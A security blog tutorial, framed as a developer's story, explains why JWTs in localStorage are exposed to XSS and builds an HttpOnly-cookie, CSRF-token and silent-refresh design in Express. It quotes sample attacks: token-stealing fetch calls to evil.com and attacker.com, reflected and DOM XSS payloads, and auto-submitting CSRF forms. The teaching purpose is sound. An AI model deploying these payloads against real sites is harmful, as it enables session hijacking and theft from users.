← Back to Blogus

The JWT in localStorage Trap: How Elena Learned to Hide Her Tokens

21 min read
Ale Heredia
securityauthenticationjwtxsscsrfcookiesweb-security

Elena had followed every tutorial she could find. Her SaaS application used JWTs for authentication, stored neatly in localStorage like all the popular guides recommended. The login flow worked perfectly: user signs in, JWT gets stored, and the token gets attached to every API request. Users could refresh the page and stay logged in. They could open new tabs and remain authenticated. It was smooth, it was convenient, it was modern.

Then came the security audit.

The penetration tester had found a stored XSS vulnerability in a user profile field—a simple <script> tag in a bio that wasn't properly sanitized. Within minutes, they demonstrated how any attacker could inject a script that read every user's JWT, sent it to an external server, and gained full access to their accounts. No passwords needed. No MFA bypass required. Just one line of JavaScript: fetch('https://evil.com?token=' + localStorage.getItem('jwt')).

Elena stared at her screen. She had implemented authentication exactly as the tutorials taught her. She had used JWTs, the "industry standard." She had stored them in localStorage, the "recommended approach." And none of it had protected her users.

The problem wasn't JWTs. The problem wasn't localStorage. The problem was that every token accessible to JavaScript is accessible to attackers—and the web is full of ways to run malicious JavaScript.

This article explores the fundamental tension between security and user experience in web authentication. We'll trace how attackers exploit browser storage, why the "just use localStorage" advice is dangerously incomplete, and how to build authentication that survives browser refreshes while keeping tokens invisible to scripts.

The Mental Model: Your Browser Is a Shared House

Think of your browser as a house with multiple tenants:

  • Your application's JavaScript lives in the living room
  • Third-party scripts (analytics, ads, widgets) have keys to various rooms
  • Injected scripts (from XSS vulnerabilities) can pick locks
  • The browser itself manages the kitchen (cookies) with strict rules

Here's the critical insight: anything in the living room is accessible to anyone with a key. If you leave your car keys (tokens) on the coffee table (localStorage), any tenant—including intruders—can grab them.

Cookies stored properly are different. They're in a locked safe (HttpOnly) that only the browser can open, and only to attach to requests going to specific destinations. Scripts can't peek inside.

Storage LocationJavaScript AccessXSS VulnerableSent Automatically
localStorageFull accessYesNo
sessionStorageFull accessYesNo
Regular cookiesFull accessYesYes
HttpOnly cookiesNo accessNoYes

The table tells the story: HttpOnly cookies are the only browser storage mechanism invisible to JavaScript. Everything else is fair game for attackers.

The Three Storage Sins of Modern SPAs

Elena began her investigation. She'd been taught that JWTs in localStorage were standard practice. Every React tutorial she'd followed, every "modern authentication" guide she'd read—they all showed the same pattern. But as she dug deeper, she discovered that what seemed like best practice was actually a series of security compromises masquerading as convenience.

Let's examine the three common storage approaches and why each creates security vulnerabilities.

Sin #1: localStorage (The Persistent Trap)

localStorage persists indefinitely. It survives browser restarts, doesn't expire, and is accessible from any script running on your domain.

// The "standard" approach you'll find in tutorials
function login(credentials) {
  const response = await fetch('/api/auth/login', {
    method: 'POST',
    body: JSON.stringify(credentials)
  });
  const { accessToken, refreshToken } = await response.json();

  // Storing tokens where any script can read them
  localStorage.setItem('accessToken', accessToken);
  localStorage.setItem('refreshToken', refreshToken);
}

// Attaching token to requests
function apiCall(endpoint) {
  return fetch(endpoint, {
    headers: {
      'Authorization': `Bearer ${localStorage.getItem('accessToken')}`
    }
  });
}

Why developers use it: Tokens persist across page refreshes and browser restarts. The implementation is simple. It feels natural.

Why it's dangerous: Every script on your page—including injected ones—can execute localStorage.getItem('accessToken') and exfiltrate your users' tokens.

Elena checked her application's dependencies. Twelve npm packages for the frontend alone. Each one could theoretically include malicious code. Each one had access to localStorage. She realized she was trusting not just her own code, but every dependency, every CDN script, every analytics snippet—all with the keys to her users' sessions.

Sin #2: sessionStorage (The False Sense of Security)

sessionStorage clears when the tab closes. Developers often think this makes it more secure than localStorage.

// "More secure" because it clears on tab close?
sessionStorage.setItem('accessToken', token);

Why developers use it: Feels safer because tokens don't persist forever. Attackers have a smaller window.

Why it's still dangerous: XSS attacks execute in real-time. The attacker doesn't need persistence—they read the token the moment their script runs. By the time the user closes the tab, the token has already been stolen.

Attack TimelinelocalStoragesessionStorage
Script injectionToken stolenToken stolen
Tab still openToken stolenToken stolen
Tab closedToken still validToken gone (but already exfiltrated)
Browser restartToken still validToken gone (but damage done)

The "protection" of sessionStorage is an illusion. If an attacker can run JavaScript on your page, they've already won—regardless of where you stored the token.

Sin #3: JavaScript-Accessible Cookies (The Worst of Both Worlds)

Some developers store tokens in cookies but forget the critical flags:

// Setting a cookie without HttpOnly
document.cookie = `accessToken=${token}; path=/; SameSite=Strict`;

// An attacker can still read it
const stolen = document.cookie
  .split('; ')
  .find((row) => row.startsWith('accessToken='))
  ?.split('=')[1];

Why developers use it: Cookies are automatically sent with requests, reducing boilerplate. Feels more "traditional."

Why it's dangerous: Without the HttpOnly flag, cookies are just as readable as localStorage. You get no security benefit, but you've now also opened yourself to CSRF attacks because cookies are sent automatically.

Understanding the Enemy: XSS and CSRF Explained

After discovering the vulnerability in her application, Elena realized she needed to understand exactly how attackers exploit these weaknesses. She'd heard the acronyms—XSS, CSRF—but never fully grasped how they translated into real attacks.

Cross-Site Scripting (XSS): The JavaScript Injection Attack

XSS occurs when an attacker injects malicious JavaScript into your application. There are three main types:

Stored XSS: Malicious script is saved to your database and served to other users.

<!-- User bio field that wasn't sanitized -->
<div class="user-bio">
  Nice to meet you!
  <script>
    fetch('https://attacker.com/steal?token=' + localStorage.getItem('jwt'));
  </script>
</div>

Reflected XSS: Malicious script comes from the URL and is reflected in the response.

https://yourapp.com/search?q=<script>alert(document.cookie)</script>

DOM-based XSS: Client-side JavaScript processes untrusted data unsafely.

// Dangerous: Using innerHTML with user input
document.getElementById('welcome').innerHTML =
  `Welcome, ${new URLSearchParams(location.search).get('name')}!`;

// URL: https://yourapp.com?name=<img src=x onerror="steal()">

What XSS can steal:

Storage TypeXSS Can Access?Attack Vector
localStorageYeslocalStorage.getItem()
sessionStorageYessessionStorage.getItem()
Regular cookiesYesdocument.cookie
HttpOnly cookiesNoCannot be read by JavaScript
In-memory variablesYesDirect variable access

Elena ran a test. She injected a script that simply logged localStorage, sessionStorage, and document.cookie to the console. All her tokens appeared instantly. Then she added the HttpOnly flag to her auth cookie and ran the test again. The cookie was invisible to her script—it simply didn't exist in document.cookie. The browser was protecting it.

Cross-Site Request Forgery (CSRF): The Confused Deputy

CSRF tricks the browser into making authenticated requests on behalf of the user—without the user's knowledge.

<!-- Attacker's malicious page -->
<html>
  <body>
    <h1>You won a prize! Click below to claim:</h1>

    <!-- Hidden form that transfers money -->
    <form action="https://bank.com/transfer" method="POST" id="evil-form">
      <input type="hidden" name="to" value="attacker-account" />
      <input type="hidden" name="amount" value="10000" />
    </form>

    <script>
      // Auto-submit when page loads
      document.getElementById('evil-form').submit();
    </script>
  </body>
</html>

If the user is logged into bank.com and cookies are sent automatically, this request succeeds. The browser attaches the user's session cookie because it's going to bank.com—even though the request originated from attacker.com.

The CSRF attack chain:

sequenceDiagram
    participant User as Victim (logged into bank.com)
    participant Evil as Attacker's Site
    participant Bank as bank.com

    User->>Evil: Visits evil-page.com
    Evil->>User: Loads hidden form
    Evil->>Bank: Auto-submits form to bank.com
    Note over Evil,Bank: Browser automatically attaches<br/>bank.com cookies!
    Bank->>Bank: Validates session cookie ✓
    Bank->>Bank: Processes transfer
    Bank-->>Evil: Success response
    Note over User: User's money is gone

Why CSRF works: Cookies are sent automatically based on the destination domain, not the origin of the request. The browser doesn't care that the request came from a malicious site.

The Solution: Tokens the Browser Protects

Armed with understanding, Elena began redesigning her authentication system. The requirements were clear: tokens must be invisible to JavaScript (preventing XSS theft), requests must verify they came from her application (preventing CSRF), and users must stay logged in across refreshes and new tabs (maintaining UX).

The solution combines HttpOnly cookies for token storage with CSRF protection for request validation. Let's build it step by step.

Architecture: Server-Managed Sessions with Token Refresh

flowchart TD
    subgraph Browser["Browser (Client)"]
        A[Login Form] --> B[POST /auth/login]
        C[Protected Page] --> D[API Request]
        D --> E{Token Expired?}
        E -->|No| F[Request with Cookies]
        E -->|Yes| G[Auto-Refresh Flow]
        G --> F
    end

    subgraph Server["Server"]
        B --> H[Validate Credentials]
        H --> I[Generate Tokens]
        I --> J[Set HttpOnly Cookies]
        J --> K[Return CSRF Token]

        F --> L[Validate Access Token]
        L --> M[Validate CSRF Token]
        M --> N[Process Request]
    end

    K --> C
    N --> C

    style J fill:#10b981,stroke:#059669,stroke-width:2px,color:#fff
    style K fill:#f59e0b,stroke:#d97706,stroke-width:2px,color:#fff

The key insight: split what the browser handles from what JavaScript handles.

ComponentStorageAccessible to JS?Purpose
Access TokenHttpOnly cookieNoAuthenticates API requests
Refresh TokenHttpOnly cookieNoObtains new access tokens
CSRF TokenResponse body / meta tagYesValidates request origin

Implementation: The Secure Login Flow

Step 1: Server Sets HttpOnly Cookies

// Server-side (Node.js/Express)
app.post('/auth/login', async (req, res) => {
  const { email, password } = req.body;

  // Validate credentials
  const user = await validateCredentials(email, password);
  if (!user) {
    return res.status(401).json({ error: 'Invalid credentials' });
  }

  // Generate tokens
  const accessToken = jwt.sign({ userId: user.id, email: user.email }, process.env.JWT_SECRET, {
    expiresIn: '15m',
  });

  const refreshToken = jwt.sign(
    { userId: user.id, tokenVersion: user.tokenVersion },
    process.env.REFRESH_SECRET,
    { expiresIn: '7d' },
  );

  // Generate CSRF token (random, tied to session)
  const csrfToken = crypto.randomBytes(32).toString('hex');

  // Store CSRF token server-side (Redis, database, or in-memory)
  await storeCSRFToken(user.id, csrfToken);

  // Set HttpOnly cookies - JAVASCRIPT CANNOT READ THESE
  res.cookie('accessToken', accessToken, {
    httpOnly: true, // Not accessible via document.cookie
    secure: true, // Only sent over HTTPS
    sameSite: 'strict', // Not sent with cross-site requests
    maxAge: 15 * 60 * 1000, // 15 minutes
    path: '/',
  });

  res.cookie('refreshToken', refreshToken, {
    httpOnly: true,
    secure: true,
    sameSite: 'strict',
    maxAge: 7 * 24 * 60 * 60 * 1000, // 7 days
    path: '/auth/refresh', // Only sent to refresh endpoint
  });

  // Return CSRF token - this IS accessible to JavaScript
  // (and that's intentional - it's useless without the HttpOnly cookie)
  res.json({
    csrfToken,
    user: { id: user.id, email: user.email, name: user.name },
  });
});

Step 2: Client Stores Only the CSRF Token

// Client-side
async function login(email, password) {
  const response = await fetch('/auth/login', {
    method: 'POST',
    headers: { 'Content-Type': 'application/json' },
    credentials: 'include', // Important: sends and receives cookies
    body: JSON.stringify({ email, password }),
  });

  if (!response.ok) {
    throw new Error('Login failed');
  }

  const { csrfToken, user } = await response.json();

  // Store CSRF token - this CAN be in localStorage or memory
  // It's useless without the HttpOnly cookie that attackers can't access
  localStorage.setItem('csrfToken', csrfToken);

  // Store user info for UI purposes
  localStorage.setItem('user', JSON.stringify(user));

  return user;
}

Elena paused to understand what had changed. Before, the JWT was sitting in localStorage where any script could grab it. Now, the JWT was in an HttpOnly cookie—completely invisible to JavaScript, including malicious scripts. The only thing in localStorage was the CSRF token, which was worthless on its own.

Step 3: Making Authenticated Requests

// Client-side API wrapper
async function apiRequest(endpoint, options = {}) {
  const csrfToken = localStorage.getItem('csrfToken');

  const response = await fetch(endpoint, {
    ...options,
    credentials: 'include', // Sends HttpOnly cookies automatically
    headers: {
      ...options.headers,
      'Content-Type': 'application/json',
      'X-CSRF-Token': csrfToken, // CSRF protection header
    },
  });

  // Handle token expiration
  if (response.status === 401) {
    const refreshed = await refreshTokens();
    if (refreshed) {
      // Retry the request with new tokens
      return apiRequest(endpoint, options);
    }
    // Refresh failed - redirect to login
    window.location.href = '/login';
  }

  return response;
}

Step 4: Server Validates Both Token and CSRF

// Server-side middleware
async function authenticateRequest(req, res, next) {
  // 1. Extract access token from HttpOnly cookie
  const accessToken = req.cookies.accessToken;

  if (!accessToken) {
    return res.status(401).json({ error: 'No access token' });
  }

  // 2. Validate JWT
  try {
    const payload = jwt.verify(accessToken, process.env.JWT_SECRET);
    req.user = payload;
  } catch (error) {
    if (error.name === 'TokenExpiredError') {
      return res.status(401).json({ error: 'Token expired' });
    }
    return res.status(401).json({ error: 'Invalid token' });
  }

  // 3. Validate CSRF token (for state-changing requests)
  if (['POST', 'PUT', 'DELETE', 'PATCH'].includes(req.method)) {
    const csrfToken = req.headers['x-csrf-token'];
    const storedCSRF = await getStoredCSRFToken(req.user.userId);

    if (!csrfToken || csrfToken !== storedCSRF) {
      return res.status(403).json({ error: 'Invalid CSRF token' });
    }
  }

  next();
}

// Apply to protected routes
app.use('/api', authenticateRequest);

Why This Stops Both Attacks

XSS Attack Attempt:

// Attacker's injected script
const accessToken = localStorage.getItem('accessToken');
// Returns: null (token is in HttpOnly cookie)

const cookies = document.cookie;
// Returns: "" (HttpOnly cookies are invisible)

// Attacker got nothing useful!
// They can see the CSRF token, but...
const csrfToken = localStorage.getItem('csrfToken');

// Making a request to steal data
fetch('https://evil.com/steal', {
  method: 'POST',
  body: JSON.stringify({ csrfToken }),
});
// Attacker has the CSRF token but NOT the session cookie
// Their requests to your API will fail authentication

CSRF Attack Attempt:

<!-- Attacker's malicious page -->
<form action="https://yourapp.com/api/transfer" method="POST">
  <input type="hidden" name="to" value="attacker" />
  <input type="hidden" name="amount" value="10000" />
</form>
<script>
  document.forms[0].submit();
</script>

When this malicious form submits, here's what happens on your server:

  1. With SameSite='strict', the browser won't send the cookie at all—the request arrives unauthenticated
  2. Even with SameSite='lax', the request arrives without the X-CSRF-Token header
  3. Your server rejects with "Invalid CSRF token"

And even if the attacker somehow obtained the CSRF token, the attack still fails. They can't make fetch() requests with credentials from their domain (CORS blocks this). Form submissions can't include custom headers. The attack is blocked either way.

Maintaining UX: Seamless Sessions That Survive Everything

Elena's security was solid, but she had a new concern: user experience. Would users need to log in every 15 minutes when the access token expired? What about opening new tabs? What about coming back after lunch?

The solution is silent token refresh—a mechanism that renews access tokens automatically without user interaction.

The Token Refresh Flow

sequenceDiagram
    participant Browser
    participant App as Your Application
    participant Server

    Note over Browser,Server: User opens new tab or returns after break

    Browser->>App: Load page
    App->>App: Check for stored user info
    App->>Server: GET /api/user (with HttpOnly cookies)

    alt Access Token Valid
        Server-->>App: Return user data
        App->>Browser: Render authenticated UI
    else Access Token Expired
        Server-->>App: 401 Unauthorized
        App->>Server: POST /auth/refresh (with HttpOnly refresh cookie)
        Server->>Server: Validate refresh token
        Server->>Server: Generate new access token
        Server->>Server: Generate new CSRF token
        Server-->>App: Set new HttpOnly cookie + return CSRF token
        App->>App: Store new CSRF token
        App->>Server: Retry original request
        Server-->>App: Return user data
        App->>Browser: Render authenticated UI
    end

Implementation: Silent Refresh

// Server-side refresh endpoint
app.post('/auth/refresh', async (req, res) => {
  const refreshToken = req.cookies.refreshToken;

  if (!refreshToken) {
    return res.status(401).json({ error: 'No refresh token' });
  }

  try {
    // Validate refresh token
    const payload = jwt.verify(refreshToken, process.env.REFRESH_SECRET);

    // Check token version (for invalidation)
    const user = await getUserById(payload.userId);
    if (user.tokenVersion !== payload.tokenVersion) {
      // Token was invalidated (user logged out elsewhere, password changed, etc.)
      return res.status(401).json({ error: 'Token invalidated' });
    }

    // Generate new tokens
    const newAccessToken = jwt.sign(
      { userId: user.id, email: user.email },
      process.env.JWT_SECRET,
      { expiresIn: '15m' },
    );

    // Rotate refresh token (security best practice)
    const newRefreshToken = jwt.sign(
      { userId: user.id, tokenVersion: user.tokenVersion },
      process.env.REFRESH_SECRET,
      { expiresIn: '7d' },
    );

    // New CSRF token
    const newCSRFToken = crypto.randomBytes(32).toString('hex');
    await storeCSRFToken(user.id, newCSRFToken);

    // Set new cookies
    res.cookie('accessToken', newAccessToken, {
      httpOnly: true,
      secure: true,
      sameSite: 'strict',
      maxAge: 15 * 60 * 1000,
      path: '/',
    });

    res.cookie('refreshToken', newRefreshToken, {
      httpOnly: true,
      secure: true,
      sameSite: 'strict',
      maxAge: 7 * 24 * 60 * 60 * 1000,
      path: '/auth/refresh',
    });

    res.json({ csrfToken: newCSRFToken });
  } catch (error) {
    // Clear invalid cookies
    res.clearCookie('accessToken');
    res.clearCookie('refreshToken');
    return res.status(401).json({ error: 'Invalid refresh token' });
  }
});
// Client-side silent refresh
async function refreshTokens() {
  try {
    const response = await fetch('/auth/refresh', {
      method: 'POST',
      credentials: 'include', // Send refresh token cookie
    });

    if (!response.ok) {
      // Refresh failed - user needs to log in again
      localStorage.removeItem('csrfToken');
      localStorage.removeItem('user');
      return false;
    }

    const { csrfToken } = await response.json();
    localStorage.setItem('csrfToken', csrfToken);
    return true;
  } catch (error) {
    console.error('Token refresh failed:', error);
    return false;
  }
}

// Initialize app - check authentication on page load
async function initializeApp() {
  // Check if we have user info cached
  const cachedUser = localStorage.getItem('user');

  if (!cachedUser) {
    // No cached user - redirect to login
    redirectToLogin();
    return;
  }

  // Verify session is still valid
  try {
    const response = await apiRequest('/api/me');
    if (response.ok) {
      const user = await response.json();
      renderDashboard(user);
    } else {
      // Session invalid - try refresh
      const refreshed = await refreshTokens();
      if (refreshed) {
        const retryResponse = await apiRequest('/api/me');
        if (retryResponse.ok) {
          const user = await retryResponse.json();
          renderDashboard(user);
          return;
        }
      }
      // Refresh failed - redirect to login
      redirectToLogin();
    }
  } catch (error) {
    redirectToLogin();
  }
}

What Users Experience

ScenarioOld (localStorage JWT)New (HttpOnly + Refresh)
Page refreshStays logged inStays logged in
New tabStays logged inStays logged in
Browser restartStays logged inStays logged in
Gone for 10 minutesStays logged inStays logged in (silent refresh)
Gone for 8 daysStays logged in (dangerous!)Must re-login (secure)
XSS attackTokens stolenTokens protected

The user experience is identical—but the security is fundamentally different.

Advanced Patterns: Defense in Depth

With the core implementation working, Elena added additional layers of protection. Defense in depth meant that even if one layer failed, others would catch the attack.

Pattern 1: Refresh Token Rotation

Each time a refresh token is used, generate a new one and invalidate the old:

// Server-side: Detect refresh token reuse
async function handleRefresh(refreshToken) {
  const payload = jwt.verify(refreshToken, process.env.REFRESH_SECRET);

  // Check if this exact token was already used
  const tokenUsed = await checkTokenUsed(payload.jti);

  if (tokenUsed) {
    // TOKEN REUSE DETECTED!
    // This means either:
    // 1. Attacker stole the refresh token and used it
    // 2. Race condition (two tabs refreshing simultaneously)

    // Safest response: Invalidate ALL tokens for this user
    await invalidateAllUserTokens(payload.userId);

    throw new Error('Refresh token reuse detected - all sessions invalidated');
  }

  // Mark this token as used
  await markTokenUsed(payload.jti);

  // Generate new tokens...
}

Pattern 2: Fingerprint Binding

Bind tokens to browser characteristics:

// Generate fingerprint from request
function generateFingerprint(req) {
  const data = [req.headers['user-agent'], req.headers['accept-language'], req.ip].join('|');

  return crypto.createHash('sha256').update(data).digest('hex').slice(0, 16);
}

// Include in token
const accessToken = jwt.sign(
  {
    userId: user.id,
    fingerprint: generateFingerprint(req),
  },
  secret,
);

// Validate on each request
function validateFingerprint(req, tokenFingerprint) {
  const currentFingerprint = generateFingerprint(req);
  return currentFingerprint === tokenFingerprint;
}

Pattern 3: Automatic Session Termination

// Allow users to see and terminate sessions
app.get('/api/sessions', authenticateRequest, async (req, res) => {
  const sessions = await getUserSessions(req.user.userId);
  res.json(
    sessions.map((s) => ({
      id: s.id,
      device: s.userAgent,
      location: s.location,
      lastActive: s.lastActive,
      current: s.id === req.sessionId,
    })),
  );
});

app.delete('/api/sessions/:id', authenticateRequest, async (req, res) => {
  await invalidateSession(req.params.id);
  res.json({ success: true });
});

app.post('/api/sessions/terminate-all', authenticateRequest, async (req, res) => {
  // Increment token version to invalidate all refresh tokens
  await incrementTokenVersion(req.user.userId);
  res.json({ success: true });
});

The Security Checklist

Before you deploy, verify:

Token Storage:

  • Access tokens stored in HttpOnly cookies
  • Refresh tokens stored in HttpOnly cookies with restricted path
  • No sensitive tokens in localStorage, sessionStorage, or readable cookies
  • CSRF tokens are the ONLY authentication-related data accessible to JavaScript

Cookie Flags:

  • HttpOnly: true on all token cookies
  • Secure: true (HTTPS only)
  • SameSite: 'strict' or 'lax' depending on your needs
  • Appropriate path restrictions (especially for refresh tokens)
  • Reasonable maxAge values

CSRF Protection:

  • CSRF token generated on login
  • CSRF token validated on all state-changing requests
  • CSRF token rotated on refresh

Token Lifecycle:

  • Short access token lifetime (15 minutes or less)
  • Refresh token rotation implemented
  • Token version tracking for mass invalidation
  • Refresh token reuse detection

XSS Prevention:

  • All user input sanitized before rendering
  • Content Security Policy headers configured
  • No innerHTML with untrusted data
  • Framework's built-in XSS protection enabled

Common Objections and Responses

"But tutorials say to use localStorage..."

Many tutorials prioritize simplicity over security. They show you how to make authentication work, not how to make it secure. Production applications have different requirements than learning exercises.

"HttpOnly cookies can't be read—how do I check if the user is logged in?"

You don't need to read the token. Make a lightweight API call (e.g., GET /api/me) that returns user info if the session is valid. If it returns 401, you know to redirect to login.

async function isAuthenticated() {
  try {
    const response = await fetch('/api/me', { credentials: 'include' });
    return response.ok;
  } catch {
    return false;
  }
}

"What about mobile apps or third-party API consumers?"

For API consumers that can't use cookies, issue separate API tokens with appropriate scopes. These are fundamentally different from browser session tokens and require different security considerations (rate limiting, IP restrictions, token rotation).

"Doesn't this mean I need server-side sessions?"

Not necessarily. The JWT is still self-contained and stateless. The only server-side state is the CSRF token mapping (which can be stored in the JWT itself using a pattern called "double submit cookie") and optionally the refresh token blacklist.

The Architecture Transformed

Six months after the security audit, Elena presented her redesigned authentication system. The penetration testers ran the same XSS attack that had compromised her application before. This time, the injected script ran—but it found nothing to steal. No tokens in localStorage. No readable cookies. The HttpOnly cookies were invisible, and the CSRF token was useless without them.

Her users noticed no difference. They still logged in, refreshed pages, opened new tabs, and came back after lunch to find their sessions intact. The UX was identical. Only the security was transformed.

The lead tester's report summarized it perfectly: "Session tokens are properly protected from client-side script access. CSRF protection is correctly implemented. The attack surface for session hijacking has been significantly reduced."

The lesson: security and user experience aren't opposites. With proper architecture, you can have both—sessions that feel seamless while remaining invisible to attackers.

Your browser is designed to protect HttpOnly cookies. Let it do its job.


This is part of an ongoing series on web security fundamentals. Read more about OAuth 2.0 and delegated authorization or RBAC and access control.

Comments